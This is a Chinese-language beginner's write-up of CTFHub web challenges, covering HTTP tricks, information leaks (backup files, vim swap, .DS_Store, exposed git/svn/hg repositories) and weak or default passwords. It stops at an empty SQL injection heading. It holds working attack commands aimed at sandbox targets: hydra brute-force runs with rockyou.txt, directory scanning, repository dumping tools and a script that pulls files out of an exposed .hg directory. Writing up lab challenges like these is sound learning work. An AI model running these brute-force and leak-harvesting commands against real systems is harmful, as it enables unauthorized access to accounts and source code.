本人 CTF 新手，因为打算学网络空间安全专业所以开始接触 CTF, 初中就对网络安全慕名，看过一些 geekpwn 但是没有深入下去，接着这个升大学前的暑假练练 CTF, 以下是我对 CTFHub 技能树上的题的简短 Writeup

我觉得动手实操一遍会很有用，所以我的所有 Writeup 不会透露任何的flag

1.Web 前置技能 ——Http 协议

1-1. 请求方式

网站也可以自定义协议 (例如本题)
这道例题要求我们使用CTF**B的方法来获取 flag, 可以猜出方法名应该是CTFHUB
直接使用curl

curl -X CTFHUB http://challenge-xxx.sandbox.ctfhub.com:10800

于是我们得到 flag

1-2.302 跳转

打开题目，点击 flag 链接，发现被重定向到了原来的界面，按下fn +F12，打开开发者工具，发现这个链接指向的是..../index.php
故技重施，尝试用curl

curl -X GET http://challenge-xxx.sandbox.ctfhub.com:10800/index.php

于是我们得到 flag

1-3.Cookie

打开题目发现要求 admin, 打开开发者工具，找到应用 ->Cookie,打开会发现有一个admin项，将它的值改为1，刷新网站即可得到 flag

1-4. 基础认证

下载附件，得到一份密码字典
打开题目，发现跳转 flag 需要认证, 猜测用户名为 admin
拿出我们的九头蛇hydra

hydra -l admin -P 10_million_password_list_top_100.txt http://challenge-xxx.sandbox.ctfhub.com:10800 -s 10800 http-get /flag.html

得到密码，认证成功，于是我们得到 flag

1-5. 响应包源代码查看

最简单的一道题，fn+F12 自个扒拉去吧
或者使用

curl -v http://challenge-xxx.sandbox.ctfhub.com:10800 | grep flag

2. 信息泄露

2-1. 目录遍历

打开题目，发现里面有多层嵌套的文件夹，我们猜里面有一个文件名和 flag 相关
随便点进去几个文件夹，发现都是以 1,2,3,4 这终端字符串命名的，普通字典不好使
生成字典

bash -c "printf '%s\n' {0..9} > /tmp/dict.txt"echo flag >> /tmp/dic.txt

开始遍历

dirsearch -u http://challenge-xxx.sandbox.ctfhub.com:10800/flag_in_here/ -w /tmp/dict.txt -r

之后去report/question_website/找生成的报告，在浏览器里读取文件内容即可

2-2.PHPINFO

难度和 1-5 放一起
打开题目，查看phpinfo,在ENVIRONMENT项可以看到FLAG和对应的值

2-3. 备份文件下载

2-3-1. 网站源码

看到题目描述, 可以猜到应该和 2-1 是一个套路，找目录里面的文件
根据题目提示生成字典文件

echo -e web\nwebsite\nback\nbackup\nwww\nwwwroot\ntemp > dict.txt

扫文件,dirsearch因未知原因扫不出文件

feroxbuster -u http://challenge-xxx.sandbox.ctfhub.com:10800 -w dict.txt -x tar,tar.gz,rar,zip

可以扫到备份压缩包，解压后得到flag.... 但真的是flag吗？
发现flag文件中是Where is flag??
意识到这是网站的备份，我们可以尝试直接访问http://challenge-xxx.sandbox.ctfhub.com:10800/flag_2061830417.txt，或者curl这个网址得到真正的flag

2-3-2.bak 文件

根据题目描述，访问http://challenge-xxx.sandbox.ctfhub.com:10800/index.php，fn+F12 查看源代码没有发现任何的 flag, 使用 feroxbuster 也扫不到备份文件，考虑备份文件可能是以它本身命名的，而不是压缩包

尝试curl题目http://challenge-xxx.sandbox.ctfhub.com:10800/index.php.bak得到flag

2-3-3.vim 缓存

根据题目提示和已有信息, 尝试 curlhttp://challenge-xxx.sandbox.ctfhub.com:10800/.index.php.swp 成功
执行来恢复文件

vim -r .index.php.swp

发现无法保存，问题是目标路径不存在，执行

mkdir /tmp/skill_web_info_leak_backup_vim/src/ -p

再次执行
执行来恢复文件

vim -r .index.php.swp

之后访问这个文件应该就可以得到flag，但是我这里得到的 flag 是残缺不全的，应该是编码问题

尝试直接阅读.index.php.swp，或者使用

strings .index.php.swp

便可读出flag

2-3-4..DS_Store

打开题目, 根据以往的做题经验，这个时候应该请出我们的老工具feroxbuster还有旧字典来扫一下网站

feroxbuster -u http://challenge-xxx.sandbox.ctfhub.com:10800 -w dict.txt -x .DS_Store

得到地址，curl下来

curl TARGET_FILE_ON_WEBSITE -o .DS_Store

可以使用file命令确认一下这是苹果系统的文件而不是什么奇奇怪怪的东西
接下来我们要使用pip来安装ds_store包

pip install ds-store

python -m venv .venvsource .venv/bin/activate.fish #根据你自己的实际shell替换掉fish，之后要用到这个环境的时候直接执行这个命令就好了pip install ds-store

写一个简单的 python 脚本，用来解析我们刚刚获得的.DS_Store，我起个名a.py

from ds_store import DSStorewith DSStore.open('.DS_Store', 'r') as d:    for filename in d:        print(filename)

之后python a.py即可看到其中的文件目录，使用curl即可得到flag

2-4.Git 泄漏

根据题目信息，我们要用GitHacker工具，BugScanTeam的工具是基于python2实现的，使用现代的python3会出现依赖问题，我们用PyPI中含有的同名工具，让我们用杀千刀的pip

pip install GitHacker

source .venv/bin/activate.fish #根据你自己的实际shell替换掉fishpip install GitHacker

2-4-1.LOG

出题人对仓库的操作会被记录到LOG中
尝试遍历下载 git 仓库

githacker --url http://challenge-xxx.sandbox.ctfhub.com:10800 --output-folder outrepo`

进入outrepo目录，发现里面有一个以很长字符串命名的文件夹，进入，尝试查看git提交记录

git log

找到add flag的commit,记为$COMMIT

git show $COMMIT

于是便可看到flag

2-4-2.Stash

stash为git的暂存区，出题人把flag写进文件后git stash藏起来了
尝试遍历下载 git 仓库

githacker --url http://challenge-xxx.sandbox.ctfhub.com:10800 --output-folder outrepo1

进入到outrepo1中的长字符串文件夹, 尝试查看stash暂存区内容

git stash list

应该会有这种输出

stash@{0}: WIP on master: 0590b0e add flag

执行

git stash show -p stash@{0}

便可得到flag

2-4-3.index

index也是git的暂存区，index记录了当前工作区有哪些文件、它们的哈希值、权限等信息

尝试遍历下载 git 仓库

githacker --url http://challenge-xxx.sandbox.ctfhub.com:10800 --output-folder outrepo2

进入outrepo2中的长字符串文件夹, 可以看到flag直接就躺在你眼前了 (一个 txt 文档)
哈哈，是有些简单了
一般的题目需要使用这个命令来看暂存区中的文件列表，flag可能是他们的文件名拼凑而成的

git ls-files --stage

2-5.SVN 泄漏

执行

curl http://challenge-xxx.sandbox.ctfhub.com:10800/.svn/wc.db --output wc.db

查看这个db数据库

sqlite3 wc.db "SELECT local_relpath, checksum FROM NODES"

发现flag,但他的checksum为NULL，说明当前版本没有缓存，照应了题目文件在旧版本
查看数据库中的所有表类型

sqlite3 wc.db ".tables"

发现PRISTINE,查看PRISTINE表，这记录了所有被缓存的文件对象

sqlite3 wc.db "SELECT checksum, size FROM PRISTINE"

得到了另一个未知文件的sha1值，猜他就是flag对应文件的sha1,尝试从PRISTINE恢复文件
pristine/的目录结构为

.svn/pristine/xx/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.svn-base

xx为sha1前两位，xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx为完整的sha1
尝试curl，得到flag

curl http://challenge-xxx.sandbox.ctfhub.com:10800/.svn/pristine/xx/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.svn-base

2-6.HG 泄漏

首先尝试直接curl题目的.hg目录

curl http://challenge-xxx.sandbox.ctfhub.com:10800/.hg

报错403，文件存在但禁止获取目录内容
curl下关键文件

curl http://challenge-xxx.sandbox.ctfhub.com:10800/.hg/store/00changelog.i --output 00changelog.icurl http://challenge-xxx.sandbox.ctfhub.com:10800/.hg/store/00manifest.i --output 00manifest.i

写一个 Python 脚本，暴力拉取.hg 目录
你需要替换BASE的网址为题目网址

#!/bin/bash# save as: rip_hg_manual.shBASE="http://challenge-xxx.sandbox.ctfhub.com:10800"OUTDIR="./hg_dump"mkdir -p "$OUTDIR/.hg/store/data"# 核心元数据for f in requires branch dirstate hgrc; do    curl -s "$BASE/.hg/$f" -o "$OUTDIR/.hg/$f" 2>/dev/nulldone# store 核心索引for f in 00changelog.i 00manifest.i; do    curl -s "$BASE/.hg/store/$f" -o "$OUTDIR/.hg/store/$f" 2>/dev/nulldoneecho "Done. Check $OUTDIR"

进入hd_dump目录，先删掉一些不存在或者异常的文件

find .hg/ -type f -exec grep -l "<html>" {} \; -delete 2>/dev/null

尝试重建仓库, 并检查日志

hg inithg log -v

会看到和flag相关的一个文本文档 (版本代号为 1)，我们姑且使用A来代替他的文件名
尝试直接查看这个文件内容

hg cat -r 1 A

报错no match found
使用hg update -r 1 && cat A依旧报错不存在，有记录但是没有文件，说明文件被删除
最终折腾一大阵，尝试直接curl

curl http://challenge-xxx.sandbox.ctfhub.com:10800/A

得到flag

3. 密码口令

3-1. 弱口令

首先从我这里下载字典文件rockyou.txt，里面一共有14344391条密码
打开题目，先随便输入个账密，查看报错信息是什么 (user or password is wrong)，接下来我们curl一下题目
会得到这一部分代码

<label for="name" class="sr-only">用户名</label><input type="text" id="name" name="name" value="" placeholder="用户名" class="text-l w-100" autofocus /><label for="password" class="sr-only">密码</label><input type="password" id="password" name="password" class="text-l w-100" placeholder="密码" />

我们需要看name字段指的参数，账密分别对应的是name和password
我们可以猜用户名可能是admin或者ctfhub
接下来构造hydra命令

hydra -l admin -P rockyou.txt http://challenge-xxx.sandbox.ctfhub.com -s 10800 http-post-form "/:name=^USER^&password=^PASS^:F=user or password is wrong" -V -t 4hydra -l ctfhub -P rockyou.txt http://challenge-xxx.sandbox.ctfhub.com -s 10800 http-post-form "/:name=^USER^&password=^PASS^:F=user or password is wrong" -V -t 4

这两条命令在两个终端中执行
或者说我们可以稍微偷工减料一些，只挑出含有admin的密码先试试

grep "admin" rockyou.txt > admin_passwords.txt

之后把上面的hydra命令中的rockyou.txt换成admin_passwords.txt
之后可以得到密码，于是我们得到flag

3-2. 默认口令

直接去网上搜 eyou 网关默认账户密码即可
于是我们得到flag

4.SQL 注入